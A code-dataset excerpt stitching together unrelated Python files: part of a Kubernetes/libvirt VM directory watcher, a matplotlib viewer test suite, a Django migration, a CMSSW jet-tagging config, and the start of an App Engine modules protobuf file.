e: if e.reason == 'Not Found': logger.debug('**VM disk image %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) class VmdImageLibvirtXmlEventHandler(FileSystemEventHandler): def __init__(self, pool, target, group, version, plural): FileSystemEventHandler.__init__(self) self.pool = pool self.target = target self.group = group self.version = version self.plural = plural def on_moved(self, event): if event.is_directory: logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) else: logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) vmdi = os.path.split(event.src_path)[1] try: myVmdImageLibvirtXmlEventHandler('Create', vmdi, self.pool, event.dest_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_created(self, event): if event.is_directory: logger.debug("directory created:{0}".format(event.src_path)) else: logger.debug("file created:{0}".format(event.src_path)) vmdi = os.path.split(event.src_path)[1] try: myVmdImageLibvirtXmlEventHandler('Create', vmdi, self.pool, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_deleted(self, event): if event.is_directory: logger.debug("directory deleted:{0}".format(event.src_path)) else: logger.debug("file deleted:{0}".format(event.src_path)) vmdi = os.path.split(event.src_path)[1] try: myVmdImageLibvirtXmlEventHandler('Delete', vmdi, self.pool, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_modified(self, event): if event.is_directory: # logger.debug("directory modified:{0}".format(event.src_path)) pass else: logger.debug("file modified:{0}".format(event.src_path)) # _,name = os.path.split(event.src_path) # file_type = os.path.splitext(name)[1] # vmi = os.path.splitext(os.path.splitext(name)[0])[0] # if file_type == '.xml': # try: # myVmdImageLibvirtXmlEventHandler('Modify', vmi, event.src_path, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def myImageLibvirtXmlEventHandler(event, name, xml_path, group, version, plural): # print(jsondict) if event == "Create": try: logger.debug('Create vm image %s, report to virtlet' % name) jsondict = {'spec': {'domain': {}, 'nodeName': HOSTNAME, 'status': {}}, 'kind': VMI_KIND, 'metadata': {'labels': {'host': HOSTNAME}, 'name': name}, 'apiVersion': '%s/%s' % (group, version)} with open(xml_path, 'r') as fr: vm_xml = fr.read() vm_json = toKubeJson(xmlToJson(vm_xml)) vm_json = updateDomain(loads(vm_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) jsondict = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') body = addNodeName(jsondict) try: create_custom_object(group, version, plural, body) except ApiException as e: logger.error(e) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: jsondict = get_custom_object(group, version, plural, name) report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.error('Oops! ', exc_info=1) elif event == "Modify": jsondict = get_custom_object(group, version, plural, name) try: logger.debug('Modify vm image %s, report to virtlet' % name) with open(xml_path, 'r') as fr: vm_xml = fr.read() vm_json = toKubeJson(xmlToJson(vm_xml)) vm_json = updateDomain(loads(vm_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') # logger.debug(body) update_custom_object(group, version, plural, name, body) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) elif event == "Delete": # jsondict = client.CustomObjectsApi().get_namespaced_custom_object(group=group, # version=version, # namespace='default', # plural=plural, # name=name) try: jsondict = get_custom_object(group, version, plural, name) # with open(xml_path, 'r') as fr: # vm_xml = fr.read() # vm_json = toKubeJson(xmlToJson(vm_xml)) # vm_json = updateDomain(loads(vm_json)) jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, {}) body = addPowerStatusMessage(jsondict, 'Ready', 'The resource is ready.') update_custom_object(group, version, plural, name, body) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM image %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) try: logger.debug('Delete vm image %s, report to virtlet' % name) delete_custom_object(group, version, plural, name) # jsondict = updateDomainStructureAndDeleteLifecycleInJson(jsondict, vm_json) # body = addExceptionMessage(jsondict, 'VirtletError', 'VM has been deleted in back-end.') # modifyStructure(name, body, group, version, plural) except ApiException as e: if e.reason == 'Not Found': logger.debug('**VM image %s already deleted, ignore this 404 error.' % name) else: info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) except: logger.error('Oops! ', exc_info=1) info = sys.exc_info() try: report_failure(name, jsondict, 'VirtletError', str(info[1]), group, version, plural) except: logger.warning('Oops! ', exc_info=1) class ImageLibvirtXmlEventHandler(FileSystemEventHandler): def __init__(self, field, target, group, version, plural): FileSystemEventHandler.__init__(self) self.field = field self.target = target self.group = group self.version = version self.plural = plural def on_moved(self, event): if event.is_directory: logger.debug("directory moved from {0} to {1}".format(event.src_path, event.dest_path)) else: logger.debug("file moved from {0} to {1}".format(event.src_path, event.dest_path)) _, name = os.path.split(event.dest_path) vmi, file_type = os.path.splitext(name) if file_type == '.xml': try: myImageLibvirtXmlEventHandler('Create', vmi, event.dest_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_created(self, event): if event.is_directory: logger.debug("directory created:{0}".format(event.src_path)) else: logger.debug("file created:{0}".format(event.src_path)) # _,name = os.path.split(event.src_path) # file_type = os.path.splitext(name)[1] # vmi = os.path.splitext(os.path.splitext(name)[0])[0] # if file_type == '.xml': # try: # myImageLibvirtXmlEventHandler('Create', vmi, event.src_path, self.group, self.version, self.plural) # except ApiException: # logger.error('Oops! ', exc_info=1) def on_deleted(self, event): if event.is_directory: logger.debug("directory deleted:{0}".format(event.src_path)) else: logger.debug("file deleted:{0}".format(event.src_path)) _, name = os.path.split(event.src_path) vmi, file_type = os.path.splitext(name) if file_type == '.xml': try: myImageLibvirtXmlEventHandler('Delete', vmi, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def on_modified(self, event): if event.is_directory: # logger.debug("directory modified:{0}".format(event.src_path)) pass else: # logger.debug("file modified:{0}".format(event.src_path)) _, name = os.path.split(event.src_path) vmi, file_type = os.path.splitext(name) if file_type == '.xml': try: myImageLibvirtXmlEventHandler('Modify', vmi, event.src_path, self.group, self.version, self.plural) except ApiException: logger.error('Oops! ', exc_info=1) def updateDomainStructureAndDeleteLifecycleInJson(jsondict, body): if jsondict: ''' Get target VM name from Json. ''' spec = jsondict['spec'] if spec: lifecycle = spec.get('lifecycle') if lifecycle: del spec['lifecycle'] spec.update(body) return jsondict def addNodeName(jsondict): if jsondict: ''' Get target VM name from Json. ''' spec = jsondict['spec'] if spec: jsondict['spec']['nodeName'] = HOSTNAME return jsondict def main(): observer = Observer() try: # for ob in VOL_DIRS: # if not os.path.exists(ob[1]): # os.makedirs(ob[1], 0x0711) # try: # runCmdRaiseException('virsh pool-create-as --name %s --type dir --target %s' % (ob[0], ob[1])) # except: # os.removedirs(ob[1]) # logger.error('Oops! ', exc_info=1) # event_handler = VmVolEventHandler(ob[0], ob[1], GROUP_VM_DISK, VERSION_VM_DISK, PLURAL_VM_DISK) # observer.schedule(event_handler,ob[1],True) # for ob in SYSTEM_VOL_DIRS: # if not os.path.exists(ob[1]): # os.makedirs(ob[1], 0x0711) # event_handler = VmVolEventHandler(ob[0], ob[1], GROUP_VM_DISK, VERSION_VM_DISK, PLURAL_VM_DISK) # observer.schedule(event_handler,ob[1],True) # for ob in SNAP_DIRS: # if not os.path.exists(ob[1]): # os.makedirs(ob[1], 0x0711) # event_handler = VmSnapshotEventHandler(ob[0], ob[1], GROUP_VM_SNAPSHOT, VERSION_VM_SNAPSHOT, # PLURAL_VM_SNAPSHOT) # observer.schedule(event_handler, ob[1], True) # for ob in BLOCK_DEV_DIRS: # if not os.path.exists(ob[1]): # os.makedirs(ob[1], 0x0711) # event_handler = VmBlockDevEventHandler(ob[0], ob[1], GROUP_BLOCK_DEV_UIT, VERSION_BLOCK_DEV_UIT, PLURAL_BLOCK_DEV_UIT) # observer.schedule(event_handler,ob[1],True) for ob in LIBVIRT_XML_DIR: if not os.path.exists(ob[1]): os.makedirs(ob[1], 0x0711) event_handler = VmLibvirtXmlEventHandler(ob[0], ob[1], GROUP, VERSION, PLURAL_VM) observer.schedule(event_handler, ob[1], True) # for ob in TEMPLATE_DIRS: # if not os.path.exists(ob[1]): # os.makedirs(ob[1], 0x0711) # event_handler = ImageLibvirtXmlEventHandler(ob[0], ob[1], GROUP_VMI, VERSION_VMI, PLURAL_VMI) # observer.schedule(event_handler, ob[1], True) for ob in VMD_TEMPLATE_DIR: if not os.path.exists(ob[1]): os.makedirs(ob[1], 0x0711) try: runCmdRaiseException('virsh pool-create-as --name %s --type dir --target %s' % (ob[0], ob[1])) except: os.removedirs(ob[1]) logger.error('Oops! ', exc_info=1) event_handler = VmdImageLibvirtXmlEventHandler(ob[0], ob[1], GROUP, VERSION, PLURAL_VM_DISK_IMAGE) observer.schedule(event_handler, ob[1], True) observer.start() OLD_PATH_WATCHERS = {} while True: try: paths = _get_all_pool_path() for pool_name, pool_path in paths.items(): content_file = '%s/content' % pool_path if os.path.exists(content_file): with open(content_file, 'r') as fr: pool_content = fr.read().strip() if pool_content != 'vmd': del paths[pool_name] # unschedule not exist pool path watchers = {} for path in OLD_PATH_WATCHERS.keys(): if path not in paths.values(): observer.unschedule(OLD_PATH_WATCHERS[path]) else: watchers[path] = OLD_PATH_WATCHERS[path] OLD_PATH_WATCHERS = watchers for pool in paths.keys(): # schedule new pool path if paths[pool] not in OLD_PATH_WATCHERS.keys() and os.path.isdir(paths[pool]): logger.debug(paths[pool]) event_handler = VmVolEventHandler(pool, paths[pool], GROUP, VERSION, PLURAL_VM_DISK) watcher = observer.schedule(event_handler, paths[pool], True) OLD_PATH_WATCHERS[paths[pool]] = watcher except Exception as e: logger.debug(traceback.print_exc()) logger.debug("error occur when watch all storage pool") time.sleep(3) time.sleep(1) except KeyboardInterrupt: observer.stop() except: logger.warning('Oops! ', exc_info=1) observer.join() if __name__ == "__main__": config.load_kube_config(config_file=TOKEN) while True: try: main() except Exception as e: if repr(e).find('Connection refused') != -1 or repr(e).find('No route to host') != -1: config.load_kube_config(config_file=TOKEN) info=sys.exc_info() logger.error('Oops! ', exc_info=1) time.sleep(5) continue

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Python

tests/image/test_viewer.py

keio-ytlab/researchutils

bb3ec467386d43a1e2282ec6d024216ce4dae841

[ "MIT" ]

1

2018-10-25T12:57:38.000Z

tests/image/test_viewer.py

yuishihara/researchutils

bb3ec467386d43a1e2282ec6d024216ce4dae841

[ "MIT" ]

28

2018-08-25T03:54:30.000Z

2018-10-14T12:09:47.000Z

tests/image/test_viewer.py

yuishihara/researchutils

bb3ec467386d43a1e2282ec6d024216ce4dae841

[ "MIT" ]

null

import matplotlib import matplotlib.pyplot import numpy as np from researchutils.image import viewer import pytest from mock import patch class TestViewer(object): def test_create_window(self): with patch('matplotlib.pyplot.imshow') as mock_imshow: image = np.ndarray(shape=(28, 28, 3)) viewer._create_window(image=image) mock_imshow.assert_called_with(image) viewer._create_window(image=image, is_gray=True) mock_imshow.assert_called_with(image, cmap='gray') def test_show_image(self): with patch('matplotlib.pyplot.imshow') as mock_imshow: with patch('matplotlib.pyplot.title') as mock_title: with patch('matplotlib.pyplot.subplot') as mock_subplot: with patch('matplotlib.pyplot.show') as mock_show: image = np.ndarray(shape=(28, 28, 3)) title = 'test' viewer.show_image(image=image, title=title) mock_imshow.assert_called_with(image) mock_title.assert_called_with(title) mock_show.assert_called_once() def test_show_images(self): with patch('matplotlib.pyplot.imshow') as mock_imshow: with patch('matplotlib.pyplot.title') as mock_title: with patch('matplotlib.pyplot.subplot') as mock_subplot: with patch('matplotlib.pyplot.show') as mock_show: image1 = np.ndarray(shape=(28, 28, 3)) image2 = np.ndarray(shape=(28, 28, 3)) images = [image1, image2] title = 'test' viewer.show_images(images=images, title=title) assert mock_imshow.call_count == len(images) assert mock_title.call_count == len(images) mock_show.assert_called_once() def test_show_images_with_comparisons(self): with patch('matplotlib.pyplot.imshow') as mock_imshow: with patch('matplotlib.pyplot.title') as mock_title: with patch('matplotlib.pyplot.subplot') as mock_subplot: with patch('matplotlib.pyplot.show') as mock_show: image1 = np.ndarray(shape=(28, 28, 3)) image2 = np.ndarray(shape=(28, 28, 3)) images = [image1, image2] title = 'test' image3 = np.ndarray(shape=(28, 28, 3)) image4 = np.ndarray(shape=(28, 28, 3)) comparisons = [image3, image4] comparison_title = 'comparisons' viewer.show_images( images=images, title=title, comparisons=comparisons, comparison_title=comparison_title) assert mock_imshow.call_count == len( images) + len(comparisons) assert mock_title.call_count == len( images) + len(comparisons) mock_show.assert_called_once() def test_animate(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show', return_value=mock_axes) as mock_show: num_frames = 10 images = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] viewer.animate(images, auto_close=True) assert mock_imshow.call_count == 1 assert mock_show.call_count == 1 def test_animate_with_comparison(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 images = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] viewer.animate( images=images, comparisons=images, auto_close=True) assert mock_imshow.call_count == 2 assert mock_subplot.call_count == 2 assert mock_show.call_count == 1 def test_animate_unsupoprted_dimension(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 images = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] with pytest.raises(ValueError): viewer.animate( images=images, comparisons=[[images, images], [images, images]], auto_close=True) def test_animate_with_many_comparisons(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 images = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] viewer.animate( images=images, comparisons=[images, images], auto_close=True) assert mock_imshow.call_count == 3 assert mock_subplot.call_count == 3 assert mock_show.call_count == 1 def test_animate_save_gif(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.animation.FuncAnimation.save') as mock_save: with patch('matplotlib.pyplot.show') as mock_show: num_frames = 10 images = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] viewer.animate( images, auto_close=True, save_gif=True) assert mock_save.call_count == 1 assert mock_imshow.call_count == 1 assert mock_show.call_count == 1 def test_animate_in_matrix_form_1x3(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 video_frames = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] videos = [video_frames, video_frames, video_frames] viewer.animate_in_matrix_form( videos, auto_close=True, images_per_row=3) assert mock_imshow.call_count == 3 assert mock_subplot.call_count == 3 assert mock_show.call_count == 1 def test_animate_in_matrix_form_3x1(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 video_frames = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] videos = [video_frames, video_frames, video_frames] viewer.animate_in_matrix_form( videos, auto_close=True, images_per_row=1) assert mock_imshow.call_count == 3 assert mock_subplot.call_count == 3 assert mock_show.call_count == 1 def test_animate_in_matrix_form_images_per_row_none(self): with patch('matplotlib.image.AxesImage') as mock_axes: with patch('matplotlib.pyplot.imshow', return_value=mock_axes) as mock_imshow: with patch('matplotlib.pyplot.figure') as mock_figure: with patch('matplotlib.pyplot.show') as mock_show: with patch('matplotlib.pyplot.subplot') as mock_subplot: num_frames = 10 video_frames = [np.ndarray(shape=(10, 10, 3)) for i in range(num_frames)] videos = [video_frames, video_frames, video_frames] viewer.animate_in_matrix_form( videos, auto_close=True, images_per_row=None) assert mock_imshow.call_count == 3 assert mock_subplot.call_count == 3 assert mock_show.call_count == 1 if __name__ == '__main__': pytest.main()

53.535354

117

0.529906

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10,600

4.846432

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null

0

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null

0

8

3d7627e33b9c720428a5db2449456ea643896afa

360

py

Python

tests/results.py

reed9999/tuneinrecordings

58c64bcb16f8e5a0fcdba283cc230ccf48941343

[ "MIT" ]

null

tests/results.py

reed9999/tuneinrecordings

58c64bcb16f8e5a0fcdba283cc230ccf48941343

[ "MIT" ]

null

tests/results.py

reed9999/tuneinrecordings

58c64bcb16f8e5a0fcdba283cc230ccf48941343

[ "MIT" ]

null

#Format borrowed from the excellent Django tests TEST_RESULTS = { 'all_imgs': [ '1521309364.52960/e56200f5bbfbca547aa0712a5c9947aa.image', '1521320898.1627/60a58df0b9d06ce905b72c371a665d93.image', '1521323051.57557/60a58df0b9d06ce905b72c371a665d93.image', '1521323051.57557/60a58df0b9d06ce905b72c371a665d93.image', ] }

32.727273

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9.851852

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360

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0

1

0

1

0

1

null

0

8

3d87e6c68a6b9944359a6064a95b654db84aa822

1,546

py

Python

allies/migrations/0005_auto_20201215_1647.py

kevincornish/HeckGuide

eb974d6b589908f5fc2308d41032a48941cc3d21

[ "MIT" ]

4

2022-02-16T10:19:11.000Z

2022-03-17T03:34:26.000Z

allies/migrations/0005_auto_20201215_1647.py

kevincornish/HeckGuide

eb974d6b589908f5fc2308d41032a48941cc3d21

[ "MIT" ]

1

2022-02-17T14:02:31.000Z

2022-03-31T03:56:42.000Z

allies/migrations/0005_auto_20201215_1647.py

kevincornish/HeckGuide

eb974d6b589908f5fc2308d41032a48941cc3d21

[ "MIT" ]

3

2022-02-17T06:13:52.000Z

2022-03-23T21:37:21.000Z

# Generated by Django 3.1 on 2020-12-15 21:47 from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('allies', '0004_auto_20201215_1505'), ] operations = [ migrations.AlterField( model_name='currentally', name='cost', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='currentally', name='group_id', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='currentally', name='previous_cost', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='currentally', name='troop_kills', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='historicalally', name='cost', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='historicalally', name='group_id', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='historicalally', name='previous_cost', field=models.BigIntegerField(null=True), ), migrations.AlterField( model_name='historicalally', name='troop_kills', field=models.BigIntegerField(null=True), ), ]

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0

null

0

1

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1

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null

0

10

9a9554e336707615caa279b8a464f09579f039ac

4,332

py

Python

RecoBTag/MXNet/python/pfParticleNetDiscriminatorsJetTags_cfi.py

gputtley/cmssw

c1ef8454804e4ebea8b65f59c4a952a6c94fde3b

[ "Apache-2.0" ]

6

2017-09-08T14:12:56.000Z

2022-03-09T23:57:01.000Z

RecoBTag/MXNet/python/pfParticleNetDiscriminatorsJetTags_cfi.py

gputtley/cmssw

c1ef8454804e4ebea8b65f59c4a952a6c94fde3b

[ "Apache-2.0" ]

545

2017-09-19T17:10:19.000Z

2022-03-07T16:55:27.000Z

RecoBTag/MXNet/python/pfParticleNetDiscriminatorsJetTags_cfi.py

gputtley/cmssw

c1ef8454804e4ebea8b65f59c4a952a6c94fde3b

[ "Apache-2.0" ]

14

2017-10-04T09:47:21.000Z

2019-10-23T18:04:45.000Z

import FWCore.ParameterSet.Config as cms pfParticleNetDiscriminatorsJetTags = cms.EDProducer( 'BTagProbabilityToDiscriminator', discriminators = cms.VPSet( cms.PSet( name = cms.string('TvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probTbcq'), cms.InputTag('pfParticleNetJetTags', 'probTbqq'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probTbcq'), cms.InputTag('pfParticleNetJetTags', 'probTbqq'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), cms.PSet( name = cms.string('WvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probWcq'), cms.InputTag('pfParticleNetJetTags', 'probWqq'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probWcq'), cms.InputTag('pfParticleNetJetTags', 'probWqq'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), cms.PSet( name = cms.string('ZvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probZbb'), cms.InputTag('pfParticleNetJetTags', 'probZcc'), cms.InputTag('pfParticleNetJetTags', 'probZqq'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probZbb'), cms.InputTag('pfParticleNetJetTags', 'probZcc'), cms.InputTag('pfParticleNetJetTags', 'probZqq'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), cms.PSet( name = cms.string('ZbbvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probZbb'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probZbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), cms.PSet( name = cms.string('HbbvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probHbb'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probHbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), cms.PSet( name = cms.string('H4qvsQCD'), numerator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probHqqqq'), ), denominator = cms.VInputTag( cms.InputTag('pfParticleNetJetTags', 'probHqqqq'), cms.InputTag('pfParticleNetJetTags', 'probQCDbb'), cms.InputTag('pfParticleNetJetTags', 'probQCDcc'), cms.InputTag('pfParticleNetJetTags', 'probQCDb'), cms.InputTag('pfParticleNetJetTags', 'probQCDc'), cms.InputTag('pfParticleNetJetTags', 'probQCDothers'), ), ), ) )

43.32

66

0.586334

285

4,332

8.912281

0.136842

0.216535

0.610236

0.108661

0.930709

0.922835

0.811024

0.784252

0

0.00032

0.277701

4,332

99

67

43.757576

0.811441

0

0.877551

0

0.346722

0.006925

0

1

0

false

0

0.010204

0

0.010204

0

null

1

0

1

0

1

0

null

0

9

9acbe2d7d640af5b0eae065bc447d898beede8cc

44,960

py

Python

AppServer/google/appengine/api/modules/modules_service_pb.py

loftwah/appscale

586fc1347ebc743d7a632de698f4dbfb09ae38d6

[ "Apache-2.0" ]

790

2015-01-03T02:13:39.000Z

2020-05-10T19:53:57.000Z

AppServer/google/appengine/api/modules/modules_service_pb.py

nlake44/appscale

6944af660ca4cb772c9b6c2332ab28e5ef4d849f

[ "Apache-2.0" ]

1,361

2015-01-08T23:09:40.000Z

2020-04-14T00:03:04.000Z

AppServer/google/appengine/api/modules/modules_service_pb.py

nlake44/appscale

6944af660ca4cb772c9b6c2332ab28e5ef4d849f

[ "Apache-2.0" ]

155

2015-01-08T22:59:31.000Z

2020-04-08T08:01:53.000Z

#!/usr/bin/env python # # Copyright 2007 Google Inc. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # from google.net.proto import ProtocolBuffer import array import dummy_thread as thread __pychecker__ = """maxreturns=0 maxbranches=0 no-callinit unusednames=printElemNumber,debug_strs no-special""" if hasattr(ProtocolBuffer, 'ExtendableProtocolMessage'): _extension_runtime = True _ExtendableProtocolMessage = ProtocolBuffer.ExtendableProtocolMessage else: _extension_runtime = False _ExtendableProtocolMessage = ProtocolBuffer.ProtocolMessage class ModulesServiceError(ProtocolBuffer.ProtocolMessage): OK = 0 INVALID_MODULE = 1 INVALID_VERSION = 2 INVALID_INSTANCES = 3 TRANSIENT_ERROR = 4 UNEXPECTED_STATE = 5 _ErrorCode_NAMES = { 0: "OK", 1: "INVALID_MODULE", 2: "INVALID_VERSION", 3: "INVALID_INSTANCES", 4: "TRANSIENT_ERROR", 5: "UNEXPECTED_STATE", } def ErrorCode_Name(cls, x): return cls._ErrorCode_NAMES.get(x, "") ErrorCode_Name = classmethod(ErrorCode_Name) def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.ModulesServiceError' class GetModulesRequest(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): pass if contents is not None: self.MergeFromString(contents) def MergeFrom(self, x): assert x is not self def Equals(self, x): if x is self: return 1 return 1 def IsInitialized(self, debug_strs=None): initialized = 1 return initialized def ByteSize(self): n = 0 return n def ByteSizePartial(self): n = 0 return n def Clear(self): pass def OutputUnchecked(self, out): pass def OutputPartial(self, out): pass def TryMerge(self, d): while d.avail() > 0: tt = d.getVarInt32() if (tt == 0): raise ProtocolBuffer.ProtocolBufferDecodeError d.skipData(tt) def __str__(self, prefix="", printElemNumber=0): res="" return res def _BuildTagLookupTable(sparse, maxtag, default=None): return tuple([sparse.get(i, default) for i in xrange(0, 1+maxtag)]) _TEXT = _BuildTagLookupTable({ 0: "ErrorCode", }, 0) _TYPES = _BuildTagLookupTable({ 0: ProtocolBuffer.Encoder.NUMERIC, }, 0, ProtocolBuffer.Encoder.MAX_TYPE) _STYLE = """""" _STYLE_CONTENT_TYPE = """""" _PROTO_DESCRIPTOR_NAME = 'apphosting.GetModulesRequest' class GetModulesResponse(ProtocolBuffer.ProtocolMessage): def __init__(self, contents=None): self.module_ = [] if contents is not None: self.MergeFromString(contents) def module_size(self): return len(self.module_) def module_list(self): return self.module_ def module(self, i): return self.module_[i] def set_module(self, i, x): self.module_[i] = x def add_module(self, x): self.module_.append(x) def clear_module(self): self.module_ = [] def MergeFrom(self, x): assert x is not self for i in xrange(x.module_size()): self.add_module(x.module(i)) def Equals(self, x): if x is self: return 1 if len(self.module_) != len(x.module_): return 0 for e1, e2 in zip(self.module_, x.module_): if 